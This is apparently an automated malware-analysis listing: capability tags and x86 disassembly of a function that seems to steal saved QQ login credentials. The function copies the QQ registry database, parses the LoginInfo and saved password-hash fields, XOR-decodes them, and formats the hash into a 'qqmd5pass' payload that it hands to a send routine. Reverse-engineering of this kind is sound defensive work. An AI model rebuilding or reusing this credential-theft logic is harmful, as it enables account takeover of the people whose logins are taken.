Function at 0x10019030
Capabilities:
Copy file
Encode data using xor

Disassembly:
push 0xffffffffffffffff
mov eax, dword fs:[0]
push 0x1002b1f1
push eax
mov eax, 0x46d8
mov dword fs:[0], esp
call fcn.10010280
push ebx
push ebp
push esi
mov esi, dword [esp + 0x46f4]
xor ebx, ebx
push edi
cmp esi, ebx
je 0x100193c5
push ebx
push esi
call dword [sym.imp.MSVCRT.dll__access]
add esp, 8
test eax, eax
jne 0x100193c5
push esi
call dword [sym.imp.MSVCRT.dll__strlwr]
mov ecx, 0x82
xor eax, eax
lea edi, [esp + 0xe0]
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
rep stosd dword es:[edi], eax
add esp, 4
stosb byte es:[edi], al
push esi
lea eax, [esp + 0xe0]
push 0x100322b8
push eax
call ebp
add esp, 0xc
lea ecx, [esp + 0xdc]
push ebx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea edx, [esp + 0xdc]
push str.qq_registry.dbk
push edx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
cmp eax, ebx
je 0x100193c5
mov byte [eax], bl
xor eax, eax
mov dword [esp + 0x20], eax
lea ecx, [esp + 0xdc]
mov dword [esp + 0x24], eax
push 0x5c
mov dword [esp + 0x2c], eax
push ecx
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov byte [esp + 0x3c], al
call dword [sym.imp.MSVCRT.dll_strrchr]
mov edx, eax
add esp, 8
cmp edx, ebx
je 0x100193c5
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 6
jb 0x100193c5
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 0x10
ja 0x100193c5
inc edx
push 0x14
push edx
lea edx, [esp + 0x28]
push edx
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0xc
mov esi, str.all_users
lea eax, [esp + 0x20]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x10019179
test cl, cl
je 0x10019175
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x10019179
add eax, 2
add esi, 2
test cl, cl
jne 0x10019155
xor eax, eax
jmp 0x1001917e
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
je 0x100193c5
lea eax, [esp + 0x58]
mov dword [esp + 0x1c], ebx
push eax
call fcn.10018650
add esp, 4
test eax, eax
je 0x100193c5
lea ecx, [esp + 0x88]
push ecx
call fcn.10018930
add esp, 4
test eax, eax
je 0x100193c5
xor eax, eax
mov dl, byte [esp + eax + 0x88]
mov cl, byte [esp + eax + 0x58]
xor dl, cl
mov byte [esp + eax + 0x70], dl
inc eax
cmp eax, 0x10
jl 0x100191b9
mov eax, dword [0x1003dacc]
cmp eax, ebx
je 0x100191e8
push eax
call fcn.1001c4c0
add esp, 4
mov dword [0x1003dad0], ebx
call fcn.1001c470
mov dword [0x1003dacc], eax
mov dword [eax], ebx
mov eax, dword [0x1003dacc]
push 0x100375c4
mov dword [eax + 4], ebx
mov ecx, dword [0x1003dacc]
mov dword [ecx + 0x118], ebx
mov edx, dword [0x1003dacc]
mov dword [edx + 0x11c], ebx
mov eax, dword [0x1003dacc]
mov dword [eax + 0x120], ebx
mov ecx, dword [0x1003dacc]
xor eax, eax
mov dword [ecx + 0x124], ebx
mov edx, dword [0x1003dacc]
mov dword [edx + 0x128], ebx
mov ecx, dword [0x1003dacc]
add ecx, 8
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], eax
mov edx, dword [0x1003dacc]
add edx, 0x18
push edx
call ebp
mov eax, dword [0x1003dacc]
add esp, 8
mov dword [eax], 1
mov ecx, dword [0x1003dacc]
add ecx, 8
push 0x1003228c
push ecx
call ebp
mov edx, dword [0x1003dacc]
lea eax, [esp + 0xe4]
push eax
mov dword [0x1003dad0], edx
call fcn.10018f70
add esp, 0xc
test eax, eax
jl 0x100193c5
mov ecx, dword [0x1003dacc]
push str.LoginInfo
push ecx
call fcn.1001c360
mov esi, eax
add esp, 8
cmp esi, ebx
je 0x10019540
mov edx, dword [esi + 0x118]
add edx, 0xa
push edx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
lea ecx, [esp + 0x14]
mov ebp, eax
call sub.MFC42.DLL_CString::CString_2
mov dword [esp + 0x46f0], ebx
mov ebx, dword [esi + 0x118]
mov esi, dword [esi + 0x11c]
mov ecx, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esp + 0x10]
mov byte [esp + 0x46f0], 1
call fcn.1001c520
push ebx
push ebp
mov byte [esp + 0x46f8], 2
call fcn.10018c10
mov ecx, 6
mov esi, str.bufPassword
lea edi, [esp + 0x40]
add esp, 8
rep movsd dword es:[edi], dword [esi]
mov ecx, 0xb
lea edi, [ebp + 9]
lea esi, [esp + 0x38]
xor edx, edx
repe cmpsw word [esi], word es:[edi]
jne 0x1001938f
mov ecx, 0x1000
xor eax, eax
lea edi, [esp + 0x6e8]
push 0x40000
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 0x1f]
lea ecx, [esp + 0x6ec]
lea edx, [esp + 0x74]
push ecx
push edx
push eax
add ebp, 0x23
push 0
push ebp
lea ecx, [esp + 0x28]
call fcn.1001c560
mov ebx, eax
cmp ebx, 0x100
jge 0x100193e0
lea ecx, [esp + 0x10]
mov byte [esp + 0x46f0], 1
call fcn.1001c550
lea ecx, [esp + 0x18]
mov byte [esp + 0x46f0], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov dword [esp + 0x46f0], 0xffffffff
call sub.MFC42.DLL_CString::CString
xor eax, eax
mov ecx, dword [esp + 0x46e8]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x46e4
ret
lea eax, [esp + 0x6e8]
push ebx
push eax
call fcn.10018c10
mov ecx, 8
mov esi, str.bufSavedHashOne
lea edi, [esp + 0x40]
lea edx, [ebx - 6]
add esp, 8
cmp edx, 7
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x6ee]
jle 0x1001950a
mov ax, word [ecx + 1]
lea edi, [ecx + 3]
and eax, 0xffff
lea esi, [esp + 0x38]
lea ebp, [ecx + eax + 3]
mov ecx, 0xfffffffd
sub ecx, eax
mov eax, dword [ebp]
add edx, ecx
mov ecx, 0xf
xor ebx, ebx
repe cmpsw word [esi], word es:[edi]
je 0x10019457
mov esi, 0xfffffffc
lea ecx, [eax + ebp + 4]
sub esi, eax
add edx, esi
cmp edx, 7
jg 0x10019414
jmp 0x1001950a
mov ebx, dword [sym.imp.MSVCRT.dll_sprintf]
xor esi, esi
lea edi, [esp + 0x38]
xor edx, edx
mov dl, byte [esi + ebp + 4]
push edx
push str._02x
call dword [sym.imp.MSVCRT.dll_printf]
xor eax, eax
add esp, 8
mov al, byte [esi + ebp + 4]
push eax
push str._02X
push edi
call ebx
add esp, 0xc
inc esi
add edi, 2
cmp esi, 0x10
jl 0x10019463
lea ecx, [esp + 0x38]
push 1
lea edx, [esp + 0x24]
push ecx
push edx
lea eax, [esp + 0xac]
push str._s_r_n_s_r_n_d
push eax
call ebx
add esp, 0x14
mov ebp, eax
lea ecx, [esp + 0x2e8]
push ebp
push str.content_type:_qqmd5pass_r_nncontent_length:__d_r_n_r_n
push ecx
call ebx
mov ecx, ebp
lea esi, [esp + 0xac]
mov edx, ecx
lea edi, [esp + eax + 0x2f4]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
add esp, 0xc
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [0x1003dac0]
test ecx, ecx
je 0x10019502
push 0
add eax, ebp
push 0x71
push eax
lea eax, [esp + 0x2f4]
push eax
call ecx
add esp, 0x10
mov dword [esp + 0x1c], 1
lea ecx, [esp + 0x10]
mov byte [esp + 0x46f0], 1
call fcn.1001c550
lea ecx, [esp + 0x18]
mov byte [esp + 0x46f0], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov dword [esp + 0x46f0], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov eax, dword [esp + 0x1c]
jmp 0x100193c7